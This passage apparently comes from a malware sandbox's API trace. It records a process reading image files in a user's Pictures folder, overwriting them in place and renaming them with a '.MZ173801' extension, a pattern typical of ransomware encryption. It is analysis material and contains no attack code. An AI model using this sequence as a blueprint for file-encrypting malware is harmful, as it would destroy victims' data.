lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0123.066] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0123.067] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\Mr3PQACS\\r4EiWwT6VDJ2aw279a.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\mr3pqacs\\r4eiwwt6vdj2aw279a.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0123.068] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3ec*=0) returned 0x0 [0123.068] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0123.068] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x73da [0123.068] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0123.068] ReadFile (in: hFile=0x28c, lpBuffer=0x714510, nNumberOfBytesToRead=0x73da, lpNumberOfBytesRead=0x18f3f8, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f3f8*=0x73da, lpOverlapped=0x0) returned 1 [0123.069] CloseHandle (hObject=0x28c) returned 1 [0123.070] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\Mr3PQACS\\r4EiWwT6VDJ2aw279a.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\mr3pqacs\\r4eiwwt6vdj2aw279a.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0123.071] WriteFile (in: hFile=0x28c, lpBuffer=0x71c540*, nNumberOfBytesToWrite=0x73da, lpNumberOfBytesWritten=0x18f404, lpOverlapped=0x0 | out: lpBuffer=0x71c540*, lpNumberOfBytesWritten=0x18f404*=0x73da, lpOverlapped=0x0) returned 1 [0123.072] CloseHandle (hObject=0x28c) returned 1 [0123.086] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\Mr3PQACS\\r4EiWwT6VDJ2aw279a.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\mr3pqacs\\r4eiwwt6vdj2aw279a.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\Mr3PQACS\\r4EiWwT6VDJ2aw279a.jpg.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\mr3pqacs\\r4eiwwt6vdj2aw279a.jpg.mz173801")) returned 1 [0123.087] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0123.087] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0123.087] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\Mr3PQACS\\s ysimh vPvf.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\mr3pqacs\\s ysimh vpvf.png"), fInfoLevelId=0x0, lpFileInformation=0x18f438 | out: lpFileInformation=0x18f438*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc60950e0, ftCreationTime.dwHighDateTime=0x1d5dd27, ftLastAccessTime.dwLowDateTime=0x2cddc0c0, ftLastAccessTime.dwHighDateTime=0x1d5e512, ftLastWriteTime.dwLowDateTime=0x2cddc0c0, ftLastWriteTime.dwHighDateTime=0x1d5e512, nFileSizeHigh=0x0, nFileSizeLow=0x1638)) returned 1 [0123.089] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0123.089] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0123.091] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\Mr3PQACS\\s ysimh vPvf.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\mr3pqacs\\s ysimh vpvf.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0123.091] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3ec*=0) returned 0x0 [0123.091] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0123.091] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x1638 [0123.091] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0123.091] ReadFile (in: hFile=0x28c, lpBuffer=0x714510, nNumberOfBytesToRead=0x1638, lpNumberOfBytesRead=0x18f3f8, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f3f8*=0x1638, lpOverlapped=0x0) returned 1 [0123.092] CloseHandle (hObject=0x28c) returned 1 [0123.093] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\Mr3PQACS\\s ysimh vPvf.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\mr3pqacs\\s ysimh vpvf.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0123.094] WriteFile (in: hFile=0x28c, lpBuffer=0x716540*, nNumberOfBytesToWrite=0x1638, lpNumberOfBytesWritten=0x18f404, lpOverlapped=0x0 | out: lpBuffer=0x716540*, lpNumberOfBytesWritten=0x18f404*=0x1638, lpOverlapped=0x0) returned 1 [0123.095] CloseHandle (hObject=0x28c) returned 1 [0123.096] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\Mr3PQACS\\s ysimh vPvf.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\mr3pqacs\\s ysimh vpvf.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\Mr3PQACS\\s ysimh vPvf.png.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\mr3pqacs\\s ysimh vpvf.png.mz173801")) returned 1 [0123.097] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0123.097] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0123.097] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\Mr3PQACS\\SbP7KV5gI4SzAi7Xlom.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\mr3pqacs\\sbp7kv5gi4szai7xlom.bmp"), fInfoLevelId=0x0, lpFileInformation=0x18f438 | out: lpFileInformation=0x18f438*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7ea1d0, ftCreationTime.dwHighDateTime=0x1d5e4a5, ftLastAccessTime.dwLowDateTime=0x7cc77610, ftLastAccessTime.dwHighDateTime=0x1d5e316, ftLastWriteTime.dwLowDateTime=0x7cc77610, ftLastWriteTime.dwHighDateTime=0x1d5e316, nFileSizeHigh=0x0, nFileSizeLow=0x158c9)) returned 1 [0123.099] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 